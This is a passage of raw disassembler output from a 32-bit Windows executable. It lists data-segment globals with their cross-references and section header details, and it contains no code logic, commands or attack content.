sub_4CC271+64r ; sub_4CC271+6Fr ... dword_4E181C dd 77D414D4h ; DATA XREF: sub_4CC271+E9r ; sub_4CE2E0+7DCw dword_4E1820 dd 77D44200h ; DATA XREF: sub_4CC271+105r ; sub_4CE2E0+7F0w dword_4E1824 dd 77D43DD3h ; DATA XREF: sub_4CC271+123r ; sub_4CE2E0+804w dword_4E1828 dd 77D441F2h ; DATA XREF: sub_4CC271+12Dr ; sub_4CE2E0+818w dword_4E182C dd 77D49A11h ; DATA XREF: sub_4CC216+31r ; sub_4CE2E0+82Cw dword_4E1830 dd 77D47627h ; DATA XREF: sub_4CC271+157r ; sub_4CE2E0+840w dword_4E1834 dd 77D46F5Bh ; DATA XREF: sub_4CE2E0+854w dword_4E1838 dd 77D442CFh ; DATA XREF: _4:004CE2C7r ; sub_4CE2E0+868w dword_4E183C dd 77E7AC37h ; DATA XREF: sub_4CC3F3+45r ; sub_4CE2E0+87Cw dword_4E1840 dd 0 ; DATA XREF: sub_4CE2E0+888o byte_4E1844 db 0 ; DATA XREF: sub_4CF166+69o ; sub_4CF166+7Fw ... align 4 dd 20h dup(0) dword_4E18C8 dd 77FC5940h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4CF252+25o ; sub_4CF61Fo ... dword_4E18E0 dd 990538h ; DATA XREF: sub_4CFECD+25r ; sub_4CFECD+5Dr ... dword_4E18E4 dd 9900A8h ; DATA XREF: sub_4CF036+50r ; sub_4CF036+8Er ... dword_4E18E8 dd 9902F0h ; DATA XREF: sub_4CF94C:loc_4CFA1Er ; sub_4CF94C+10Br ... dword_4E18EC dd 990780h ; DATA XREF: sub_4CF63E+7Er ; sub_4CF6DE+25r ... dword_4E18F0 dd 0 ; DATA XREF: sub_4D2D50+8r ; sub_4D2D50+19r dword_4E18F4 dd 0 ; DATA XREF: sub_4D2D50+10r dword_4E18F8 dd 950048h ; DATA XREF: _4:004D0A28r _4:004D0AFFr ... dword_4E18FC dd 960090h ; DATA XREF: sub_4D2DD0+660w ; _6:off_4E0B80o dword_4E1900 dd 970098h ; DATA XREF: sub_4D2DD0+67Ew ; _6:004E0B98o dword_4E1904 dd 9800A0h ; DATA XREF: sub_4D2DD0+69Dw ; _6:004E0BB0o dword_4E1908 dd 912518h ; DATA XREF: sub_4CF252+34r ; sub_4CF252+5Er ... dword_4E190C dd 913140h ; DATA XREF: sub_4D2DD0+227w ; sub_4D2DD0+235r ... dword_4E1910 dd 4000F0h ; DATA XREF: sub_4D3610+D8w ; sub_4D3610+DEr ... dword_4E1914 dd 0 ; DATA XREF: sub_4D4D70+4r ; sub_4D4D70+Cw ... dword_4E1918 dd 2 dup(0) ; DATA XREF: sub_4CC271+DDo ; sub_4DAD0C+37o dword_4E1920 dd 0 ; DATA XREF: sub_4D7333+11r ; sub_4D7494+22w ... align 8 dword_4E1928 dd 0 ; DATA XREF: sub_4D5BD7+3ABw ; sub_4D5BD7+3DBw ... align 10h dword_4E1930 dd 77FC5880h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4CD2E0+3B3o ; sub_4D61E1+73o ... dword_4E1948 dd 0 ; DATA XREF: sub_4D7333+24w ; sub_4D7333+29r ... dword_4E194C dd 9123B8h ; DATA XREF: sub_4D5BD7+22Ar ; sub_4D5FCD+12r ... dword_4E1950 dd 912478h ; DATA XREF: sub_4D9DD4+F6w dword_4E1954 dd 912418h ; DATA XREF: sub_4D58CF+1Ar ; sub_4D5BD7:loc_4D5D97r ... dword_4E1958 dd 0 ; DATA XREF: sub_4D61E1+D0Dw ; sub_4D71C3+5Fr dword_4E195C dd 0 ; DATA XREF: sub_4D58A0+3r ; sub_4D58A0+1Dw ... dword_4E1960 dd 0 ; DATA XREF: sub_4D5BD7+3B5r ; sub_4D5BD7+3C6w ... dword_4E1964 dd 0 ; DATA XREF: sub_4D61E1+82r ; sub_4D61E1+E3r ... dword_4E1968 dd 0 ; DATA XREF: sub_4D61E1+105r ; sub_4D61E1+10Bw ... dword_4E196C dd 0 ; DATA XREF: sub_4D613C+5r ; sub_4D614D+Ar ... dword_4E1970 dd 0 ; DATA XREF: sub_4D7333+9Br ; sub_4D7494+9Ew ... dword_4E1974 dd 0 ; DATA XREF: sub_4D7333+A8r ; sub_4D7494+CCw ... dword_4E1978 dd 0 ; DATA XREF: sub_4D7333+BAr ; sub_4D7494+FAw ... dword_4E197C dd 0 ; DATA XREF: sub_4D7333+D4r ; sub_4D7494+128w ... dword_4E1980 dd 0 ; DATA XREF: sub_4D7333+F0r ; sub_4D7333+10Cr ... dword_4E1984 dd 0 ; DATA XREF: sub_4D7333+11Er ; sub_4D7333+135r ... dword_4E1988 dd 0 ; DATA XREF: sub_4D7333+3Fr ; sub_4D7494+1B2w ... dword_4E198C dd 0 ; DATA XREF: sub_4D7333+5Dr ; sub_4D7494+1E0w ... dword_4E1990 dd 0 ; DATA XREF: sub_4D7333+13Dr ; sub_4D7494+20Ew ... dword_4E1994 dd 0 ; DATA XREF: sub_4D7333+1Er ; sub_4D7494+23Cw ... dword_4E1998 dd 0 ; DATA XREF: sub_4D7333+C2r ; sub_4D7333+FFr ... dword_4E199C dd 0 ; DATA XREF: sub_4D7333+6Br ; sub_4D7494+298w ... dword_4E19A0 dd 20h dup(0) ; DATA XREF: sub_4D7333+CFo ; sub_4D7494+45o ... dword_4E1A20 dd 0 ; DATA XREF: sub_4D8892+27w ; sub_4D8892+32r align 8 dword_4E1A28 dd 77FC5860h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4CD2E0+3A8o ; sub_4D848C+6o ... byte_4E1A40 db 0 ; DATA XREF: sub_4D8892+7r ; sub_4D8892+15r ... align 4 dword_4E1A44 dd 910000h ; DATA XREF: sub_4D8397+4r ; sub_4D8397+22w ... dword_4E1A48 dd 56Bh dup(0) ; DATA XREF: sub_4D848C+11o ; sub_4D84F7+5o dword_4E2FF4 dd 456h dup(0) ; CODE XREF: _5:004DE2F8j dword_4E414C dd 63Fh dup(0) ; DATA XREF: _2:off_42955Co dword_4E5A48 dd 0 ; DATA XREF: sub_4D8892+7Cr ; sub_4D8892+82w ... align 10h dword_4E5A50 dd 0 ; DATA XREF: sub_4CC15E+25r ; sub_4CC15E+4Ar ... dword_4E5A54 dd 0 ; DATA XREF: sub_4CC216+23r ; sub_4CC216+2Br ... dword_4E5A58 dd 2 dup(0) ; DATA XREF: sub_4CC3F3+32o dword_4E5A60 dd 0 ; DATA XREF: sub_4CC271+2Cw ; sub_4CC271+57o align 8 dword_4E5A68 dd 0 ; DATA XREF: sub_4CC271+36w dd 2 dup(0) dword_4E5A74 dd 0 ; DATA XREF: sub_4CC271+52w dd 4 dup(0) dword_4E5A88 dd 0 ; DATA XREF: sub_4CC271+40w align 10h dword_4E5A90 dd 0ECh dup(0) ; DATA XREF: sub_4D8EF3+28o ; sub_4D8EF3+42o ... byte_4E5E40 db 0 ; DATA XREF: sub_4D90EF+71w ; sub_4D90EF+8Fr byte_4E5E41 db 0 ; DATA XREF: sub_4D90EF+7Bw byte_4E5E42 db 0 ; DATA XREF: sub_4D90EF+85w align 4 dd 13h dup(0) dword_4E5E90 dd 42h dup(0) ; DATA XREF: sub_4D90EF+Bo ; sub_4D90EF+17o ... dword_4E5F98 dd 40h dup(0) ; DATA XREF: sub_4D9638+ABo ; sub_4D971C+5Do dword_4E6098 dd 77FC5A00h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4D9638+25o ; sub_4D9696o ... dword_4E60B0 dd 0 ; DATA XREF: sub_4D9638+34r ; sub_4D9638+4Ew ... align 8 dword_4E60B8 dd 77FC59E0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_4D9DD4+6o ; sub_4DA0C8+25o byte_4E60D0 db 0 ; DATA XREF: sub_4D9C54:loc_4D9C64r ; sub_4DA0C8+30w align 4 dword_4E60D4 dd 912110h ; DATA XREF: sub_4D53D0+Dr ; sub_4D53D0+26r ... dword_4E60D8 dd 912358h ; DATA XREF: sub_4D50D0+264r ; sub_4D9DD4+72w ... dword_4E60DC dd 0 ; DATA XREF: sub_4CD2E0+3FDw dword_4E60E0 dd 0 ; DATA XREF: sub_4DB677+2Fw ; sub_4DB677+47r byte_4E60E4 db 0 ; DATA XREF: sub_4DB677+4r ; sub_4DB677+12r ... align 4 dword_4E60E8 dd 0 ; DATA XREF: sub_4CCA80+28r ; sub_4CCA80+4Cw ... dd 2 dup(0) dword_4E60F4 dd 0 ; DATA XREF: sub_4CC86E+4r ; sub_4CC86E+9Dr ... dd 3 dup(0) dword_4E6104 dd 0 ; DATA XREF: sub_4CCA80+C0r ; sub_4CCDBF+A6r dd 0 dword_4E610C dd 0 ; DATA XREF: sub_4CCDBF+26r ; sub_4CCDBF:loc_4CCE29w _6 ends ; Section 8. (virtual address 000E7000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 000E6200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 4E7000h align 2000h _idata2 ends end start